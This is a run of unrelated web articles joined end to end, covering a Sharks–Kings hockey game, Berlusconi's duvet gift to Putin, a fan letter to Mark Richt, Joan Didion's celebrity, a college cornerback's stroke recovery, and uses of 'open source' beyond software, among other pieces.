The Ducks would have felt right at home as Saturday’s tight game wore on, given their magical powers when it comes to one-goal games. As most hockey games tend to do, this one started to give off an unmistakable “next goal wins” feel.
Dwight King had the first chance to score that goal early, sent in alone on a short breakaway off a blown Sharks line change less than a minute in. But he slid it just wide, with Antti Niemi maybe getting just enough of a pad on it. That seemed to inspire the Sharks, who applied strong pressure over the next few minutes.
And then, disaster. All-Star defenseman Brent Burns coughed up the puck to Marian Gaborik in the neutral zone, sending him in on a partial break. With three Sharks closing in on him, Gaborik teed up a slap shot from the top of the circle and beat Niemi to give L.A. the lead.
The teams traded chances the rest of the way, with the Kings missing a few opportunities to expand the lead early and the Sharks coming on strong late. Couture just missed on a backhand chance in close, and Wingels nearly chipped in a rebound. The Sharks got Niemi out for an extra attacker for much of the final two minutes, but the Kings calmly held their ground, looking every bit like a team that’s done this before.
♦♦♦
There’s actually one more Californian NHL team, or at least there was. They were based out of Oakland, they were called the Golden Seals, and they survived less than a decade before moving to Cleveland and then folding. The only thing most fans remember about them is that they sometimes wore white skates.
Look, I told you the NHL’s history in California was weird. Let’s never speak of the Golden Seals again.
♦♦♦
After the game, a stream of disappointed players in the Sharks locker room tried to explain what it meant to lose to the Kings on a big stage, yet again.
“It hurts,” Thornton said. “With this atmosphere you want to win and you want to leave this room happy. It was a good game. We just couldn’t find the back of the net a second time.”
“It’s the truth when they say it’s better when you win, because it sucks right now,” Joe Pavelski said. “You want to push toward that second season, and right now we’re not there.”
For their part, the Kings seemed to treat the entire thing like just another day at the office. Coach Darryl Sutter said he’d enjoyed the weekend, but that he’d viewed the game as simply “a big division game and it was a road game. If you take any other approach, over the long haul you’re not going to get the result you want.”
The win pushed the Kings past not just San Jose but Calgary, too, all the way up into third place in the Pacific, while the Sharks dropped to 10th in the conference. And now we’re waiting to see if Los Angeles can roll all the way to a repeat. And we’re left wondering if these are still the same old Sharks.
In a state full of strange hockey history, we seem to have reached the default state between these two teams.It's a definite case of strange bedfellows.
In a gift that speaks to a presidential-sized man crush, Italy’s controversial former leader Silvio Berlusconi gave Russian president Vladimir Putin a king-sized embroidered duvet -- with a blown-up image of the men embracing -- as a birthday present.
The custom-made duvet cover shows the three-time prime minister and Putin, who turned 65 during the weekend, shaking hands against a backdrop of Russian and Italian landmarks, such as Rome's Colosseum.
It wasn't immediately clear if Putin was enthralled with the snug souvenir.
“No, I know nothing about the president’s reaction to the duvet cover from Berlusconi,” Putin spokesman Dmitry Peskov said Monday, according to Tass, the Russian news agency.
Michele Cascavilla, whose company Lenzuolissimi made the bed linen for the bromance, posted a pic of the bedspread on Instagram: “Happy Birthday Mr President Vladimir Putin!! Grazie Presidente Berlusconi.”
Berlusconi, 81, came up with the idea of the personalized bedding gift after Putin gave him the double bed in which Patrizia D’Addario, a prostitute, claimed to have had sex with the disgraced Italian, The Times of London reported.
Berlusconi is said to be very proud of the bed from Putin, even boasting about it to actor George Clooney, according to the International Business Times.
"I've had one evening with Berlusconi and it was one of the more astonishing evenings of my life," Clooney said in 2011. “I went to speak about Darfur. I'd done my homework. He took me to see his bedroom and the bed that Putin gave him. It became a very different evening than anyone thought."
Berlusconi stepped down in 2011 after his last term in office was marred by scandals, and he's been barred from politics after a 2013 tax fraud conviction, the Daily News reported.
He is appealing his political ban.Dear Mark,
Wow. It’s been one heck of a week, hasn’t it? In just one week you’ve somehow managed to defeat one of your rivals (Georgia Tech), get fired from one job, and then accept another one. That’s quite the feat; I’m not sure many people can say they’ve done that. I’ll go ahead and own up to it. Yes, I called for your job after the Alabama game. And yes, I was hoping this would be your last season at Georgia (as head coach) all along. Then it happened. I woke up Sunday morning to the news you had actually been fired (Something I had begun to think was impossible). I, along with thousands of other UGA fans, finally got what (I thought) I wanted. I should’ve been ecstatic and optimistic about our football program’s future. But, I wasn’t. Instead, I was surprisingly disheartened and depressed. As the old saying goes: "Be careful what you wish for, because it might actually come true." Well Mark, that phrase took on a whole new meaning for Georgia fans on Sunday. Often times in relationships, one person can be taken for granted, mistreated, and sometimes even dumped by their spouse. And more often than not, once it actually happens, the one who dumped the other realizes that it was a mistake. They wish that they could take them back, but often times it’s too late. Well Mark, you’re that girlfriend/boyfriend, and I never thought that I would say this, but I wish we could take you back. Unfortunately, both you and Georgia appear to have moved on though (Not gonna lie, that was pretty quick). So, if you don’t mind, I’d like to take a trip down memory lane, stir up some old recollections, and reminisce on the good times.
I’ll be honest; I have absolutely no recollection of your hiring (I was only eight at the time), so unfortunately I can’t start there.
I do however remember that Tennessee game in 2001. That "Hobnail Boot" play was the first of many special memories in the "Mark Richt Era." I can still imagine that play in my head. David Greene fakes the handoff, drops back, gently tosses the ball to Verron Haynes in the middle of the end zone, and then Larry Munson does his thing. I didn’t know what a hobnail boot was back then, and I’m still not quite sure. But, thanks to you and Larry, I’ve got a pretty dang good idea of what it looks like to break someone’s nose with one. That play, that game, put Georgia back on the map. That day in Knoxville, you gave our program hope. Little did we know it back then, but that was just the beginning of one hell of a ride.
I remember attending "Mark Richt Football Camp" in the summer of 2002. That first day, after we checked in, I got to meet you. My brother and I each got to shake your hand, get an autograph, and pose for a picture with you. You most likely don’t remember this, but I do. That encounter was something I would brag about with friends for months, even years to come. To this day that picture and autograph still hang in my bedroom, and that is one memory I won’t ever forget. I enjoyed that experience so much that I came back the next year, and then the next, shaking your hand each time. Summers at that camp are definitely some of my fondest childhood memories. Thank you, Mark.
I remember that 2002 season with the Davids (Greene & Pollack), Boss Bailey, Thomas Davis, and Fred Gibson. Those guys were heroes to me back then. I’ll never forget that Auburn game that season, and more importantly that last touchdown play in it. I can still hear Ole Larry Munson saying, "Boy, We’ve had some shots haven’t we," before the snap, indicating that even he, the ultimate UGA fan, had given up. Then moments later hearing, "TOUCHDOWN! OH GOD! A TOUCHDOWN! WAS IT WATSON OR GIBSON? MICHAEL JOHNSON!" That was truly a team of destiny. That was the team that finally broke the drought and brought an SEC championship back to Athens. Man, that was one, ‘special’ season.
I remember that 2005 SEC championship game. We were heavy underdogs against Nick Saban’s LSU Tigers, and beat the "you-know-what" out of them. That post-game celebration with you and D.J. was one for the ages. After patiently waiting for 4 years behind an SEC legend (David Greene), D.J.’s loyalty had finally paid off. After being your very first recruit in 2001, four years later he epitomized your motto of "Finishing The Drill." It was the ending that you often only find in fairy-tales and storybooks.
I remember that "magical" 2007 season like it was yesterday. That’s probably my favorite season of all. The play of Stafford and Moreno would have been memorable enough, but that season provided so much more. That end zone celebration after Knowshon’s first TD against Florida was awesome! Mark, that was a bold move, a legendary move. Nobody will ever forget that game (I know Urban Meyer definitely hasn’t). Then there was the "Blackout" game against Auburn. What a night. I can still hear the roar of that crowd after seeing the players run onto the field wearing those Black uni’s. The combination of those beautiful black jerseys along with a little Soulja Boy, produced one of the most electric atmospheres I have ever seen. To this day that’s my favorite game and memory in Sanford stadium. That season provided some great, great memories. Thanks, Mark.
I remember that 2012 season. No doubt, you do as well. That SEC championship game was the best game that I have EVER seen or been too. A true heavyweight fight, that came down to the bitter end. You were SO close. I’m sure there aren’t many days that have gone by since, where you haven’t played the "what if game" on that final play in your mind. Five yards kept you from winning a national championship and arguably cost you your job. It’s pretty amazing how much five yards can change things, isn’t it? (Five Frickin Yards) That post-game press conference was the only time I’ve ever seen you get heated. It was completely called for, in my opinion, by the way.
I remember that 2013 LSU game in Athens. Emotions were running pretty high that day. Mettenberger versus Murray turned out to be quite the show. That was a huge home victory and capped off a ridiculous month, in which we had played three top ten teams. But, what stood out to me most was your postgame interview. I can still see you hugging Aaron and then, as tears filled your eyes, telling Tracy Wolfson, "I told him I was proud of him. Both those QB’s played their tails off. I told Zach the same thing. I love this team. I’m proud of them. Nobody does it better than Georgia." That postgame interview was one of my favorite memories of your time at Georgia. You were emotional, energetic, and most importantly REAL. You came across as a proud father talking about his sons. That was yet another ‘special’, ‘special’ memory.
Finally, I’ll never forget this past Sunday and Monday either. I’d say that Sunday I was more stunned than anything else. Monday is when the real emotions hit. Watching that press conference was one of the saddest things that I’ve ever seen. I’m not gonna lie, I teared up a little bit. I think most Georgia fans did. I don’t know you on a personal level at all, but I feel like I do. I feel like I’ve lost a father in a sense. You are the only coach Georgia has had in my lifetime so-to-speak, and it’s going to be weird without you. You went out just like you coached. With class and dignity. You did things the right way, "The Georgia Way", and that will be your legacy in my mind. Unfortunately in life, "All good things eventually come to an end." I just wish it didn’t have to end this way for you. You deserved to be carried off that Sanford stadium field into the sunset one final time.
After thinking it over for a couple months, I’ve decided I owe you something. An apology. I regret writing that article, calling for your job. That being said, I wish you the best of luck at the U, and am sure we’ll (Georgia) cross paths again soon. I’ve got a funny feeling that things are going to work out for you, Mark. Good things usually happen to good guys. Thanks for the memories.
Stay Classy, Mark.
Sincerely,
HarrisonIn remarks released on Wednesday, MP from KDP Ashwaq al-Jaf said the presidency of Masoud Barzani would end on November 1, the Arabic-language al-Alam news network reported.
Barzani has clearly declared that he would not accept another term in office, the Kurdish parliamentarian added.
Barzani has also announced that neither he nor any of his family members will be nominated for the presidential post, he noted.
The election of a new president of the Kurdistan Region is under the authority of the Iraqi Kurdistan Parliament, Jaf |
:
Styles Mentioned In this article are the basic principals of portrait photography. Each style or a combination of any can be applied to numerous categories. For example a wedding photographer can choose to use tradition style vs. candid, or glamor vs. lifestyle.
Next week we will look closely and all the specialty categories of portrait photography. Stay tuned.
What is your style of portrait photography? Post your image and identify your style.I recently wrote a post about a Tennessee state senator who has advanced legislation that would cut welfare payments to families whose kids get really bad report cards and test scores.
The senator is Stacey Campfield, a Republican, who was quoted in the Knoxville News Sentinel as saying this was a great way to “break the cycle of poverty.”
Here’s Jon Stewart’s new take on this from “The Daily Show.” He says in part:
Little Billy is poor, and he’s not doing very well in school. I have an idea. What if we made him poorer and told his family it was his fault? ‘Last semester my grades were bad because I was hungry and cold but this semester I am hungrier and colder and my family isn’t talking to me, so bring on the long division.’ Is Stacey Campfield a state senator senator or a villain from a Dickens novel?
Here’s the video:Maybe every writer is doomed to have their tritest sentence become their most-tweeted, but in Joan Didion’s case, it feels particularly unfair that “we tell ourselves stories in order to live” has become so ubiquitous. The line begins the eponymous essay of 1979’s The White Album, titles her volume of collected non-fiction published in 2006 and now is the name of a forthcoming Kickstarter-funded documentary, directed by her nephew, Griffin Dunne. Its most terrifying stranglehold, though, is online, where it spawns and respawns itself across social media platforms.
I’m not sure Didion, whose reputation rests on seizing and scrutinising so many historical moments, has ever not been “having a moment”, but we seem to have reached peak Cult of Joan. She is now that oxymoronic phenomenon, “a literary celebrity” and a forthcoming biography, Tracey Daugherty’s The Last Love Song, will only further deify her. But being a literary celebrity is not the same thing as being a widely read writer. And the endless iteration of the sententious “we tell ourselves stories in order to live” seems to be a testament to that.
The essay that follows that line is basically a repudiation of any consolation the words may have held. It’s about how we delude ourselves with stories, rather than a paean to the vital, life-giving force of Literature with a capital L. She’s never soothing or simple; Didion’s intellectual severity and honesty preclude that. The White Album details both her own neurological disorder and the disorder of Los Angeles at the end of the 1960s, both of which suggest to her that “all narrative was sentimental [...] all connections equally meaningful, and equally senseless”. That life, in other words, is not a thing reducible to something as epigrammatic as the essay’s first sentence.
It’s not her fault that Didion has always struck the fashion world as irresistibly on-brand. It’s also worth noting that being sylphishly photogenic and being an intellectual titan are not mutually exclusive. But, in recent years, the fashion industry’s Didion adoration seems to be making her more a style symbol than a person who has written some excellent books.
You can buy a leather motorcycle jacket with Didion’s face on the back. Or rather, you can’t, because it’s sold out and even if it wasn’t, you’d still need $1,200. There exist sequinned clutch bags designed to look like The White Album. Didion merch, in fact, is now enough of a thing for Gawker to despairingly describe her as “Joan Didion, an ever-more popular lifestyle brand”. This seems to be part of a broader tendency to fetishise and fashionise books and bookishness – it’s what Christine Smallwood identified last year as “the merchandising of reading” and what you might also call the lifestyle-ification of literature. All the tote bags, T-shirts, magnets and buttons are, Smallwood suggests, the result of a reading minority who’ve become, as the numbers of Americans who read books continues to decline, “a bit overidentified with the enterprise.” There is, she added, “a curiously undifferentiated flavor [to it], as if what you read mattered less than that you read.” Similarly, the name and image of Joan Didion seems in danger of eclipsing her actual work.
Facebook Twitter Pinterest Joan Didion for Céline. Photograph: Céline
In January, the Joan-Didion-for-Céline ad launched and my Instagram feed became a weird kind of vertical zoetrope of the same image: Joan in her white bob and big black shades, the only perceptible expression on her face that subtle, shrewd tightening of the lips. An 80-year-old female intellectual was now a model and “brand ambassador” for an impeccably cool, high fashion house’s spring/summer campaign. Vogue, one of Didion’s first employers, for whom she wrote the spectacular and enduring essay On Self Respect at a moment’s notice, when another writer flaked, did not contain themselves: “Did you just feel the collective intake of breath shared by every cool girl you know? Did you feel the pulse-quickening vibrations of every recent college grad and literature fan? Did you sense the earth trembling beneath your feet?”
The earth didn’t tremble, but I did smile when Didion gave an imperturbable non-comment of a comment to the New York Times. Asked if she was “aware of the sensation she caused”, she responded, “I don’t have any clue.” Asked whose idea it was, she replied, “They got in touch with me.” There you go. As chic and flat and impenetrable as the black sunglasses she wears in the ad.
Didion, though, deserves so much more than being a droppable name for “every cool girl you know”, or a meme-friendly symbol, flashed by the fashionable and fashionably disaffected to gird their intellectual credibility. Tumblr and Instagram are dense with a certain handful of images: Joan lounging in front of a white Corvette, Joan hanging out the window of the Corvette and now, of course, Joan in her white bob and big black Celine shades. I love these images too, but every time I see them, I hear a querulous voice inside me. It frets that Didion is precious not because she looks so chic in front of that white Corvette, but because of her perfect sentences and the hard-thinking mind that made them.
Our conception of 1960s and 70s America exists, in large part, due to Didion. The subjects made culturally-canonical under her scrutiny include Las Vegas weddings, the vagueness of Joan Baez’s idealism, and, most famously, the counter-cultural movement that had its densest population of hippies in San Francisco. Then, in 2005, she did the same for grief with her memoir The Year of Magical Thinking, a terrifyingly lucid account of losing her husband, John Gregory Dunne. The book became an international bestseller and, in 2007, a Broadway play with Vanessa Redgrave as its sole performer.
Didion, born in 1934 in Sacramento, was conservative in her attitudes (she came from a family of Republicans and, in 1964, voted for Barry Goldwater, the staunchly anti-communist “Grand Old Man of the Republican Party”). Her mode of remove extended to feminism and, by her own admission, she felt, “radically separated from most of the ideas that seem to interest other people.” Her 1972 essay The Women’s Movement – a bit of a sore point for a new, happily feminist generation of Didion lovers – assails “the invention of women as a “class”” and mocks “the eccentric and quixotic passion” of American Marxism in which “the have-nots, it turned out, aspired mainly to having.” Didion, who now resides on Manhattan’s genteel Upper East Side in a “cavernous” apartment, would, of course, be placed firmly in the latter category.
Facebook Twitter Pinterest “Irresistibly on-brand”... Joan Didion. Photograph: Dorothy Hong
Nonetheless, there is an undeniable feministic power in her simply being a woman who has always given her writing supreme primacy. She was, arguably, the most talented pioneer of New Journalism, the movement which infused reportage with literary technique. Even the swaggering Brat Packer Bret Easton Ellis has admitted that, “I would rewrite paragraphs of hers just to see how she would do it.”
If the white Corvette drives people to finding those sentences, excellent. But I so hope they know that there’s much more to her than telling ourselves stories in order to live.
Unlike some other hugely influential writers, Didion’s shadow doesn’t retroactively diminish her. Compare the clause-heavy, abbreviated prose of David Foster Wallace’s many acolytes’ work. Wallace, also one of that small number of “literary celebrities” – and also a writer subjected to fresh reification, Jason Segel plays him in the new film The End of the Tour – was one of the greats but his highly imitable style has made his own work seem almost self-parodic. If, however, there is such a thing as a Didion-idiom (“Didiom”?) it’s something so elegant, unpredictable and exacting as to be impossible to impersonate.
The problem of the Cult of Joan and her inimitability seem to come together in a passage from Slouching Towards Bethlehem, her seminal essay on hanging out with the young dropouts and self-styled radicals of 1967’s Haight-Ashbury. Among them is Barbara, who “dislikes earning more than 10 or 20 dollars a week” and prefers, instead, to show her love by baking for the household. She calls this “the woman’s trip”. There follows a typically cool Didion evisceration of Barbara’s delusion: “Whenever I hear about the woman’s trip, which is often, I think a lot about nothin’-says-lovin’-like-something-from-the-oven and the Feminine Mystique, and how it is possible for people to be the unconscious instruments of values they would strenuously reject on a conscious level, but I do not mention this to Barbara.”
Whenever I hear that we tell ourselves stories in order to live, I wonder if the Cult of Joan is too many Barbaras, telling themselves stories.
The Last Love Song: A Biography of Joan Didion (St Martin’s Press) is published on 25 August
This article contains affiliate links, which means we may earn a small commission if a reader clicks through and makes a purchase. All our journalism is independent and is in no way influenced by any advertiser or commercial initiative.
The links are powered by Skimlinks. By clicking on an affiliate link, you accept that Skimlinks cookies will be set. More information.CLOSE Michigan State coach Mark Dantonio breaks down the Spartans' first scrimmage and early standouts in fall camp. Video by Chris Solari, DFP.
Michigan State University sophomore cornerback Tyson Smith (15) signals "no catch" after a pass breakup in the first half of MSU's game against BYU Saturday, October 8, 2016 in East Lansing. (Photo: Dave Wasinger/Lansing State Journal)
EAST LANSING – Tyson Smith was helping a friend pack, days after Michigan State’s 2016 season ended. A searing headache stopped him almost immediately, so painful he had to sit down.
“I was like, ‘Something’s not right,’” Smith said of what he felt Nov. 28. “I just thought it was a bad headache, so I went home and tried to go to sleep. I couldn’t go to sleep.”
It got worse. A week went by, he said, before he told the team training staff. Another week passed, and Smith continued to ache. He underwent an MRI. Doctors summoned him into a closed room.
His father, Shawn, joined Smith and others via phone to hear the diagnosis. A doctor said they might be scared about the news he was about to tell them.
“He said, ‘You had a stroke,’” Smith recalled Monday. “And we both kind of just paused. I just looked at Sally (Nogle), our trainer, and looked at our doctor. We were all shocked. Like, ‘What?’ ”
[USA TODAY projections: Michigan State football will go 6-6]
Nine months later, after retreating from his teammates and losing his grandmother in the process, the third-year junior is back on the field for the Spartans and competing for playing time at cornerback. Chasing a football future that, at times, seemed like it was over.
“I just try to remember, I’m not supposed to be able to run still. I’m not supposed to be able to still play football or catch or talk,” he said. “I try to remind myself when I get tired, ‘You can’t be tired, you’re already not supposed to be able to do anything.’”
Scared and angry
Smith took to Twitter on his 20th birthday, on May 18, and revealed that he had suffered a stroke. He said he spent about a week in the hospital before Christmas, saw a psychologist and went through mental rehabilitation before being cleared in early July to resume playing football. Doctors, Smith said, have not determined what caused it.
“We’ll work him into things gradually, but he's been cleared to play,” Dantonio said at Big Ten media days in Chicago last month. “Obviously, he’s started for us before, he’s an experienced corner and has a good skill-set … but we'll take it slow."
More: Michigan State cornerback Tyson Smith says he had a stroke last year
More: Justin Layne at home in MSU's secondary; Josiah Scott might join him at CB
The Orchard Lake St. Mary’s product made 13 tackles and had four pass breakups in eight games, including four starts, for the Spartans last fall before he said a knee injury kept him out of MSU’s final three games. Smith also sat out the Spartans’ spring scrimmage on April 1.
Michigan State Spartans Tyson Smith tackles BYU Cougars Colby Pearson. (Photo: Kirthmon F. Dozier, Detroit Free Press)
But throughout the off-season, football meant little to Smith. The 5-foot-11, 170-pound Southfield native, the nephew of former MSU coach and current Alabama assistant Bobby Williams, struggled to process what had happened.
Basic tasks, like remembering where he put his wallet or phone, became challenges. Lessons he learned in class disappeared almost immediately. Smith went through a number of tests for people who have experienced strokes, and he said doctors were amazed that he was still walking and talking normally. Playing football again remained an uncertainty and far from his primary focus.
[The full slate: 2017 Michigan State football schedule breakdown]
Smith said he retreated from his teammates, taking comfort in his family. He said his mother, Kim, had an aneurysm “a few years back.” She helped keep her son moving forward and motivated in the healing process.
Then, during his recovery, Smith’s grandmother died, and “I just felt like everything stopped for a moment. … Everything was all out the window, and I kind of went into a shell and went in my room.” They never told his grandmother about his stroke, either.
“I kind of shied away from everybody. I was mad at the world. Scared at the same time. I didn’t really want to come around people,” Smith said. “But my mom was really the main one who kept me uplifted. She would text me every morning saying, ‘God’s got a plan for you. You’ll be fine, whether you’re not playing football or playing football.’ ”
Smith spent his time away from football doing anything he could on campus away from the game, whether it was a campus organization brunch meetup or a book club or a movie. Life away from football became a distinct possibility.
“The major (lesson) that I really thought about in the hospital, is that time waits for nobody,” he said. “Just sitting there, seeing who all comes around, seeing who all doesn’t come around, time really doesn’t wait for (anybody). There’s a lot to live for, anything that you think there is. I was focused on strictly football, so when this happened, I stepped away from football to see what else I could do in life, what else of interest. Just a lot to live for.
“More so, I was focused on college football. After it happened, I started stepping away from it, started stepping to go meet new people, started stepping out of my boundaries. I started participating in things on campus, started meeting new people, really. That’s all I could do.”
Then Smith said that after getting a second opinion at Harvard, he was finally cleared to return to the field this summer.
‘A relief’
MSU’s first practice of preseason camp, on July 31, proved to be a pivotal moment in Smith’s mental recovery. As well as a chance to show he physically remains capable of contributing this season.
“Man, I was so excited. Just to run around. I know there was a lot of questions in the air — can he still do this, will he still be able to do this? So running around, it felt beyond relief,” he said. “To be able to run for myself, to show them how I was working off the field, to show my team that I still can contribute. And that’s all I wanted to do anyway, just contribute. It was a relief.”
Michigan State cornerback Tyson Smith goes through drills during MSU's first practice of the fall Aug. 8, 2015, in East Lansing. (Photo: Kirthmon F. Dozier, DFP)
He sensed his teammates were tentative at first, not knowing whether or not they should hit him. That hasn’t been a problem, he said. Smith believes he is back to full strength and hopes to regain the form he showed while playing for the Spartans as a true freshman in 2015, when he played in seven games and started one.
[Why Mark Dantonio must change Michigan State’s culture - again]
“I was a part of that team and played that year, so I know what it’s like to get there, how to get there. So that’s what I want to get back to, see if I can help everybody around me,” Smith said. “Even if I couldn’t play football again, I would still want to be out there coaching or I would still want to be in the strength room or recruiting room or doing anything I possibly could to help the team.”
Contact Chris Solari: [email protected]. Follow him on Twitter @chrissolari. Download our Spartans Xtra app for free on Apple and Android devices!by Judith Curry
Newtons Laws of Expertise and the 4th Law of Thermodynamics.
Some entertainment for Sunday
William York has a clever article entitled Climate change violates one of Newton’s laws. Excerpts:
The claim that the science debate over cimate change is settled violates the most important of Newton’s Laws. This violation is not of the famous Laws of Motion but of a little known set of derived bylaws, Newton’s Laws of Experts, a major contribution to understanding social dynamics.
Newton’s Laws of Motion may be simply stated as:
First Law: every object persists in its state of rest or uniform motion unless acted upon by an external force;
Second Law: the rate of change of momentum is directly proportional to the applied force; and
Third Law: for every action there is an equal and opposite reaction.
The bylaws, Newton’s Laws of Experts, are as follows:
First Law: every expert persists in his state of rest or opinion unless acted upon by an external grant;
Second Law: the rate of change of opinion is directly proportional to the applied grant; and
Third Law: for every expert there is an equal and opposite expert.
The First Law of Experts is well known and can be demonstrated in countless universities, institutes and research bodies. First, the need to appear relevant to the wants of society means engagement in the great issues of the day. This has been brought on by well intentioned but misguided policy that assumes innovations, financial, technical or other, spring fully developed from academic research and national needs should determine the areas of research interest.
The second and much more worrying influence comes from the coupling of politics to science. If this is coupled to saving the planet and giving rise to a better world then there is a resonance between politics and academia.
As a result governments, often subject to marginal politics, have created opportunities for endless grant applications for any research perceived as relevant to these issues. It is often the case that the envisaged research was not aimed at the target set by the government, but simply represents the dressing-up of a proposal in a way which would attract the grant.
This discussion leads to the Second Law of Experts. There is no doubt that large grants, leading to the establishment of new institutes, departments or divisions, have the effect of moving experts into positions where they will represent these new initiatives. The lifetime of these organisations is subject to the continuous feeding from grants, so there is every incentive to emphasise the importance and relevance of the research, thus providing strong and positive feedback.
The Third Law of Experts is one that is most commonly encountered in the Law. Expert witnesses are frequently called by both sides for explanations. So, rather than experts advising the bench, each side presents the most favourable explanation that helps its own case.
Where are the experts speaking against the position that climate change is caused by human activity? They are scarcely to be seen or heard at this time. Within the academy, one expert will not willingly place himself between another expert and a grant-giving body, unless he has immunity from subsequent retribution.
And finally, I spotted this one on Twitter:
“The fourth law of thermodynamics” @pkedrosky The amount of energy necessary to refute bullshit is an order of magnitude bigger than to produce it.Conservative MSNBC host S.E. Cupp did not greet the news that American Crossroads chief and Fox News Channel contributor Karl Rove is getting back into the business of raising money to elect mainstream Republican candidates to office. Cupp found it audacious that Rove could presume he should again be trusted by America’s conservative donor class when his organization delivered such meager results in the last electoral cycle.
RELATED: Karl Rove Causes Fox News Chaos By Challenging Obama Victory Projection
“I know that there are a lot of donors, because I’ve spoken to them, who are very disappointed in what happened over the past year with American Crossroads, and they’re looking for other places to put their money,” Cupp said of Rove’s plan to raise money for moderate Republicans.
“If you remember back to that moment on Fox News on election night when Karl Rove refused to cede Ohio – that was emblematic, I think, of Karl Rove, American Crossroads, and the establishment’s problem over the last four years: refusal to recognize reality,” Cupp continued. “Absolute refusal.”
“What bothers me is that people like Karl Rove think they deserve another shot at this,” she concluded. “Didn’t even ask, but presumed they he’ll get one. Well, I don’t think he’s going to be as lucky as he was.”
Watch the clip below via MSNBC:
> >Follow Noah Rothman (@NoahCRothman) on Twitter
Have a tip we should know? [email protected] was watching British TV last week, and a newsreader asked if a politician should "step up to the plate".
It's strange for a BBC newsreader to use a U.S. baseball phrase, right? Not really. That phrase has such a strong and memorable meaning that almost all viewers would understand it. "Keep calm and carry on" is a war-time phrase that has gone in the opposite direction from the UK to worldwide use.
I think the same thing has happened to "open source".
I keep finding uses of the phrase "open source" being applied in situations where no code is involved.
"Open source" has become short-hand for transparent, collaborative and community-minded.
Don't believe me? Have you ever heard of open source chickens? An open source tractor? Here are some examples of "open source" being used far beyond software:
Open Source for Chickens
This article from National Geograpic talks about open-source genetics for chicken: "Whether the chicken is the white-feathered, big-breasted Cornish Cross in millions of supermarket cases, or the sturdy, long-lived “red birds” of pastured producers, chances are that it can be traced back to hybrids owned by one of just a few hatchery companies scattered around the globe. “These are corporate genetics from huge companies,” says Nigel Walker, proprietor of Eatwell Farm outside Dixon, Calif. “I’m embarrassed to say I am not even sure where my genetics come from right now.”
Open Source for Education
This is probably the most successful example on this list. The Wikpedia entry for "Open-source curriculum" lists over 20 different projects.
There's the California Open Source Textbook Project which aims to solve the high cost, content range, and consistent shortages of K-12 textbooks.
OpenStax College offers free textbooks that meet scope and sequence requirements for most courses.
I could go on all day, but you get the picture. The use of "open source" metholodogies is booming in education.
Open Source for Mental Illness Ed Finkler is a web developer at Purdue University. He's also the co-host of the Development Hell Podcast. Back in the summer of of 2012, he posted a podcast episode that ignored technical issues and talked about mental illness. In particular, Ed talked about his ongoing struggles with depression and anxiety. Ed's openness hit a chord with his listeners and that initial podcast has become a campaign. Ed regular gives a talk entitled "Open Sourcing Mental Illness" to raise awareness and understanding of mental illness in the developer community.
Open Source for Farm Machinery Farmbot is an agricultural tool based on 3D printing technologies running open source software. Using an Arduino and Raspberry Pi, the FarmBot tool head can be positioned for a variety of operations such as soil preparation, seeding, watering, fertilizing, weed control, and data acquisition.
Open Source for Bee Hives Last year, around a third of honeybee colonies in the United States vanished in a crisis known as Colony Collapse Disorder. The death of so many bees threatened to have a knock-on effect on other plants because so many are pollinated by bees. Colony Collapse Disorder. Open Source Beehives have created two beehive designs that can be freely downloaded and 3D printed. The beehives are filled with innovative sensors to log and track bee colony health. Open Source Beehives is a project that's trying to help diagnose and solve. Open Source Beehives have created two beehive designs that can be freely downloaded and 3D printed. The beehives are filled with innovative sensors to log and track bee colony health.
Open Source for Beer The project, originally in Copenhagen, applies open source methods to beer. Free beer is based on traditional recipes, but with addded Guaraná for an energy boost. The recipe is available online under a Creative Commons (Attribution-ShareAlike 2.5) license. Anyone can use the recipe to brew their own free beer or create a derivative of the recipe. There's also an open source soda.
Open Source for Religion There are a ton of people trying to apply open source principles to religion. Open Source Religion says it is "the practice of mixing religious and non-religious beliefs in an individual, even across multiple religions". There's even a religion called Yo! (no, I don't think it's related to the social networking app) that claims to embody all these religions via an open source process:
Open Source for Industrial Machines Open Source Ecology is all about open source industrial machines that can be made for a fraction of commercial costs, and sharing the designs online. Their current aim is the complete the Global Village construction set. They want to open source the 50 most important machines that it takes for modern life to exist – everything from a tractor, to an oven, to a circuit maker.
So what does "open source" mean now? Start by realizing that developers have lost control of the phrase "open source". It is one of those phrases that has successfully moved into the mainstream, adding to it's original meaning. Here's what OpenSource.com, a Red Hat-owned site, defines as "open source" in 2014: Open exchange: Information is openly shared. Participation: Anyone is free to collaborate. Rapid prototyping: Rapid prototypes can lead to rapid failures, but that leads to better solutions found faster. Learn by doing. Meritocracy: The best ideas win. Successful work determines which projects rise and gather effort from the community. Community: Communities are formed around a common purpose. As someone who's sometimes been pessimistic about the success of open source, I think this widespread use of "open source" is great. As an open source movement, we have values to share. And let's be glad that people from school teachers to farmers want to learn from these values that started with developers. Over to you. Have you seen any examples of "open source" applied to things beyond code?Phil might have a beard, but he is quick to point out he’s a BIKER, not a hipster (Picture: Phil Stewart)
We all remember Tom Packer, the textbook hipster who is trying to crowdfund 13 dates in order to find true love.
Opinion on Tom was fairly split – some people wanted to help the young man find a partner, others didn’t really want to donate towards someone else getting laid.
One man in particular has been evidently inspired by Tom, and now he has decided to do a bit of crowdfunding himself, in order to ruin all of Tom’s dates.
Phil Stewart, 28, who lists his job title as ‘Ruiner’, has a simple mission statement: ‘Hi I’m Phil. And there is a guy called Tom who is raising £1,300 for 13 dates. I want to ruin them.’
That’s right – Phil wants to raise £1,300 to follow Tom around on his dates with an accordion (which, by his own admission) he can’t play.
Advertisement
Advertisement
MORE: This misguided hipster is trying to crowdfund money for 13 dates
Tom might have met his match, unless he uses the sound of the accordion to accompany his poetry (Picture: Indiegogo)
He’s even using the same crowdfunding site as tom, indiegogo.com.
You might also remember that the waistcoat-clad Tom offered fairly pathetic ‘rewards’ to people who donate to his quest for love, including a signed photo of the man himself and even a personalised poem.
The Glasgow born Phil on the other hand is offering a ‘high five, or something’ to anyone who donates a pound, and a ride on his motorbike for anyone who coughs up £500.
MORE: What is so wrong with an online love campaign? Give lonely hipster Tom Packer a break
Do you donate to love, or donate to destroying it? (Picture: Indiegogo)
MORE: Psychologist discovers the nine most frequently used words in erotic fiction
Why is he going to all this effort?
‘When I saw the guy crowdfunding his dates, I thought it was literally then end of humanity,’ said Phil.
‘Crowdfunding is for science and art and the advancement of the human race, not for people who can’t pay for their own dates.’
Despite his despair at Tom’s plan to get a date, Phil hopes some good will come out of his own crowdfunding, and promises that if he and his accordion can’t track down Tom on his dates he will use the money raised ‘for a big p*** up in the pub, where people can actually meet each other in person rather than over the internet.’
Advertisement
Advertisement
‘We are all looking for love, but technology has ruined it a bit, that’s all I’m trying to say,’ he added.
